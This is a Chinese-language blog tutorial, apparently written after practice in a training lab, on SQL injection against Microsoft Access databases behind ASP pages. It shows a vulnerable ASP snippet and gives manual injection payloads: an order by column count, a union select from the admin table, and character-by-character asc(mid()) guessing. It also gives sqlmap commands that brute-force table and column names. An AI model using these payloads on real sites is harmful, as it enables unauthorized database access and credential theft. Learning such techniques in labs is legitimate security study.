ACCESS數據庫注入


0X01

我們想來了解一下access數據庫

Access注入是暴力猜解

Access數據結構(access只有一個數據庫)

Access數據庫

  表名

    列名

      數據

沒有庫這個概念 只有表這個概念

這應該就是今天的sql語句

<%
    id=request("id")
    sql="select * from product where id="&id
    set rs=conn.execute(sql)
%>

Set rs = conn.Execute(sql) 意思是說:執行這條SQL語句、並將它保存到記錄集里面! 希望可以幫你解決問題
Set 賦值; conn.Execute()執行sql 語句、並返回值

0X02好的有思路之后進行第一步 手工注入

第一步肯定是先判斷注入點是否存在注入啊 由於上面 看到語句sql="select * from product where id="&id已經構造閉合了

所以這里就不許要構造閉合

但是我們還是需要照着網上的步驟 因為現實中我們不可能知道源碼

1.判斷網站是否有注入點。

  在以asp?id=xx(任意數字)結尾的連接依次添加:

  • '
  • 1=1
  • 1=2

  若以上結果顯示"數據庫出錯","正常顯示","數據庫出錯"則該網站存在注入點。

判斷有注入點后我們進行手工注入看看有幾個字段

order by 22正確 23錯誤 好的 那么有22個字段

那我們就可以構造語句

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

看見是3,15的位置是顯示的是數據 那么我們后面爆破出來列明后就可以直接 把名字放到3,15的位置上面去了

那我們現在來拆解表名,列名 方法access注入攻擊片段-逐字猜解法  //兼容性好,工具一般采用這種方法

構造語句

查表:and exists (select * from 表名) 存在的話就返回正常 不存在就返回不正常

查列:and exists (select 列名 from 表名)

查數據:1.確定長度 2.確定asc數據(asc編碼)

1
2
3
4
5
and ( select top 1 len(列名) from admin)=5  //=換成<=5也成立,下同
 
and ( select top 1 asc (mid(列名,位數,1)) from admin)=97
 
and ( select top 1 asc (mid(列名,位數,1)) from admin)=97

  當然這里我們也可以用啊D來跑一下

0X02sqlmap梭哈

先來初步試探 因為不知道DBMS是什么類型的

sqlmap.py -u "www.xxx.xxx" (什么都不加 不知道數據庫類型)

 

 

 這里sqlmap判斷出來是acess數據庫 問我們是否嘗試其他的數據庫類型 n 我們不嘗試了

那我們它又問我們是否要使用字典爆破表名  點yes 常見的3140個表名挨個的爆破

 

知道表明了后 直接爆破列名

sqlmap.py -u "www.xxx.xxx" -T “admin" --columns

 

 

也會繼續用字典進行枚舉爆破

 

 

今天是第一次接觸到access數據庫 以前遇見asp的網站的時候 就說為什么單引號報錯 雙引號也報錯 原來asp的sql和php的sql語句都不一樣  就一次小小的靶場就收獲這么多

感謝卿哥為我們提供一個這么好的環境 受益匪淺

 學習不要浮躁 慢慢來


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM